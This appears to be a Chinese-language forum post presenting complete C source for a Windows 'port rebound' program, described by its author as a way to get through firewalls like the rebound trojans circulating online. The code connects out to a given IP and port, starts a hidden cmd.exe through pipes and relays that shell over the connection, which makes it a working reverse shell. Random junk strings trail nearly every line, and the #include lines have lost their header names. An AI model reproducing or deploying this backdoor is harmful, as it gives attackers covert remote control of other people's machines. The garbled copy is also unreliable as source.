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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ZR1U&<0c@  
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/* ==============================  VAiJL  
Rebound port in Windows NT L-+g`  
By wind,2006/7 =~ Uhr6Q  
===============================*/ ??F* Z" x  
#include |Gic79b  
#include F85_Lz4  
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#pragma comment(lib,"wsock32.lib") y,5qY}P+  
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void OutputShell(); T-N>w;P  
SOCKET sClient; ^fsMfB  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ET.jjV  
t@!n?j I  
void main(int argc,char **argv) Ef]Hpjvp  
{ gGM fy]]R  
WSADATA stWsaData; :)#;0o5  
int nRet; nJe}U#  
SOCKADDR_IN stSaiClient,stSaiServer; -leX|U}k  
N,TV?Q5l7  
if(argc != 3) v@zi?D K  
{ AM- bs^  
printf("Useage:\n\rRebound DestIP DestPort\n"); ~ *&\5rPb  
return; CNN9a7  
} k|-\[Yl.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); B[Lm}B[  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); g,d_  
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stSaiClient.sin_family = AF_INET; vX:}tir[  
stSaiClient.sin_port = htons(0); `N\ ^JAGW  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); EL~$7 J  
7i($/mNl  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) LhO\a  
{ `bQ_eRw}  
printf("Bind Socket Failed!\n"); Xz4q^XJ  
return; FQ>$Ps*a[  
} m4m-JD|v  
kgo#JY-4  
stSaiServer.sin_family = AF_INET; _UVpQ5pN  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); kx&JY9(&#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hJM& rM7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) h@`Rk   
{ Nk9=A4=|  
printf("Connect Error!"); {($bz T7c  
return; vYRY?~8 C  
} 3A,N1OXG  
OutputShell(); Zbnxs.i!  
} $U[d#:]  
2 `AdNt,  
void OutputShell() Ke4oLF2  
{ !*v% s  
char szBuff[1024]; ~k34#j:J65  
SECURITY_ATTRIBUTES stSecurityAttributes; 5x@ U<  
OSVERSIONINFO stOsversionInfo; JM;bNW8  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 3.YH7rN  
STARTUPINFO stStartupInfo; -`4]u!A  
char *szShell; =\]gL%N-|  
PROCESS_INFORMATION stProcessInformation; <l1/lm<#  
unsigned long lBytesRead; Q%O9DCi  
lB27Z}   
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); -}m  
#w L(<nE  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); vE9"1M  
stSecurityAttributes.lpSecurityDescriptor = 0; "dCIg{j   
stSecurityAttributes.bInheritHandle = TRUE; [g}^{ $`  
NATi)A"TZ  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); :vi %7  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Y#lAG@$  
&K]|{1+  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 6No.2Oo  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; <@`K^g;W  
stStartupInfo.wShowWindow = SW_HIDE; {Q/@Y.~<  
stStartupInfo.hStdInput = hReadPipe; Yy 4Was#  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; _$*-?*V&  
>kAJS??  
GetVersionEx(&stOsversionInfo); M(8xwo-W  
,~;`@  
switch(stOsversionInfo.dwPlatformId) NTJ,U2  
{ JK)|a@BtOT  
case 1: HV`u#hZ7C  
szShell = "command.com"; lU|ltnU  
break; h1>.w pr  
default: w 8o?wx*  
szShell = "cmd.exe"; F-Z>WC{+  
break; _6FDuCVD-  
} 9^S rOW6~  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); N0fE*xo  
'PMzm/;8st  
send(sClient,szMsg,77,0); hW,GsJ,  
while(1) |RpZr!3V  
{ s5 Fn("h]n  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); d{!zJ+n  
if(lBytesRead) E3Z>R=s  
{ 2b {Y1*  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Cyv_(Oh?dv  
send(sClient,szBuff,lBytesRead,0); YVHDk7s  
} nkkGJV!  
else bv[*jr;45  
{ I |D]NY^  
lBytesRead=recv(sClient,szBuff,1024,0);  4z|Yfvq  
if(lBytesRead<=0) break; >fR#U"KPAB  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); (K"t</]  
} F7x< V=4{  
} `.6Jgfu  
;`bJgSCfo  
return; ;+qPV7Z  
}
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